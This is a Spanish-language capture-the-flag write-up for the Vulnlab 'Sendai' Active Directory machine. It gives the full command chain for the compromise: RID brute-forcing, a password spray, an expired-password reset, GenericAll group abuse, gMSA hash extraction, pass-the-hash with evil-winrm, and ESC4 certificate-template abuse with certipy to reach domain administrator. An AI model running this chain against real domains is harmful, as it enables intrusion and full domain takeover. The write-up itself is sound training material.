Sendai – Writeup (Vulnlab)
NMAP
1 |
|
Fuzzing Web: dirsearch
Procedo a fuzzear el site http://sendai.vl/, no logro obtener demasiado salvo los 301 siguientes:
1 | 301 154B http://sendai.vl/aspnet_client -> REDIRECTS TO: http://sendai.vl/aspnet_client/ |
Enumero users con Bruteforcing RID
De este modo intento enumerar usuarios, basicamente bruteforceando RID con Null Sessions Cycle Attack.
1 | nxc smb sendai.vl -u 'shkz' -p '' --rid-brute |
Exporto el listado a un user.txt y luego lo filtro para dejar clean el archivo.
User Spray sin contraseña
Con netexec realizo un User Spray con la lista de users.txt que fomratie y con contraseña nula.
Obteniendo algo interesante:
Vemos que el usuario ==Elliot.Yates== debería cambiar la contraseña. Esto podria ser posible si abusamos de esto con smbpasswd.py de impacket.
SMBPASSWD: Elliot.Yates
1 | smbpasswd.py -newpass 'Mesa1234!' Elliot.Yates@sendai.vl |
Veo que logro cambiarla. Procedo nuevamente a enumerar posibles recursos con el user ==Elliot.Yates== y la contraseña que he cambiado.
1 | nxc smb sendai.vl -u 'Elliot.Yates' -p 'Mesa1234!' --shares |
smbclient.py
Ingreso a los recursos via smbclient.py. Y cheque el share “CONFIG“ en donde encuentro hardcodeada una contraseña.
1 | smbclient.py sendai.vl/Elliot.Yates:'Mesa1234!'@sendai.vl |
Posteriormente de encontrar estas credenciales intento chequear con netexec nuevamente.
USER –> sqlsvc
Password –> SurenessBlob85
Bloodhound-python
Con el usuario Elliot.Yates que cambiamos la contraseña vamos a utilizarlo para usar el collector de Bloodhound y poder ver donde estamos parado en el AD.
1 | bloodhound-python -u 'Elliot.Yates' -p 'Mesa1234!' -ns 10.10.123.78 -d sendai.vl -c all --dns-tcp --zip |
Importo el .zip en bloodhound y observo lo siguiente. El usuer Elliot.Yates es miembro del grupo de Soporte el cual tiene GenericAll sobre ADMSVC, el cual podremos abusar del siguiente modo para agregarlo al grupo a Elliot:
Abusando del GenericALL
1 | net rpc group addmem 'ADMSVC' Elliot.Yates -U Elliot.Yates -I sendai.vl |
Con esto nos garantizamos que Elliot sea parte del grupo ADMSVC y si chequeo nuevamente el panorama con Bloodhound, vemos que esto surge efecto:
Obteniendo GMSAPassword
Con lo siguiente extraigo el NTLM de la cuenta mgtsvc$:
1 | nxc ldap sendai.vl -u 'Elliot.Yates' -p 'Mesa1234!' --gmsa |
USER: mgtsvc$
1 | evil-winrm -i 10.10.123.78 -u 'mgtsvc$' -H 'ntlm_hash' |
Una vez dentro podemos probar algunas herramientas de chequeo para escalar privilegios.
En mi caso intente con PowerUp.ps1 pero no funcionaba correctamente así que opte por la segunda opción que era PrivesCheck.ps1.
Encontrando credenciales hardcodeadas del user clifford.davey
![[Pasted image 20240408042805.png]]
USER: clifford.davey
1 | USER = clifford.davey |
Segun las hints, vemos que la parte final del ROOT esta basado en ADCS.
![[Pasted image 20240408234120.png]]
Usando certipy como clifford.davey
Procedo a buscar con certipy y las credenciales de clifford.davey encontradas a ver que nos arroja:
1 | certipy find -u 'clifford.davey' -p '<pass>' -dc-ip 10.10.114.68 -ns 10.10.114.68 -debug -vulnerable |
Vemos que es vulnerable a ESC4.
Abusing ESC4
Trabajamos con la template vulnerable: SendaiComputer
1 | certipy template -username 'clifford.davey@sendai.vl' -password '<pass>' -template SendaiComputer -save-old |
Luego ejecutamos:
1 | certipy req -ca sendai-DC-CA -username 'clifford.davey@sendai.vl' -password '<pass>' -target 'dc.sendai.vl' -template SendaiComputer -upn 'administrator@sendai.vl' |
Finalmente obtenemos el administrator.pfx que nos permitira con lo siguiente acceder al sistema y rootear la maquina:
1 | certipy auth -pfx administrator.pfx -dc-ip 10.10.114.68 |
![[Pasted image 20240409004545.png]]
1 | evil-winrm -i sendai.vl -u 'administrator' -H '<HASH>' |
1 | Mode LastWriteTime Length Name |
Pwned.
Saludos!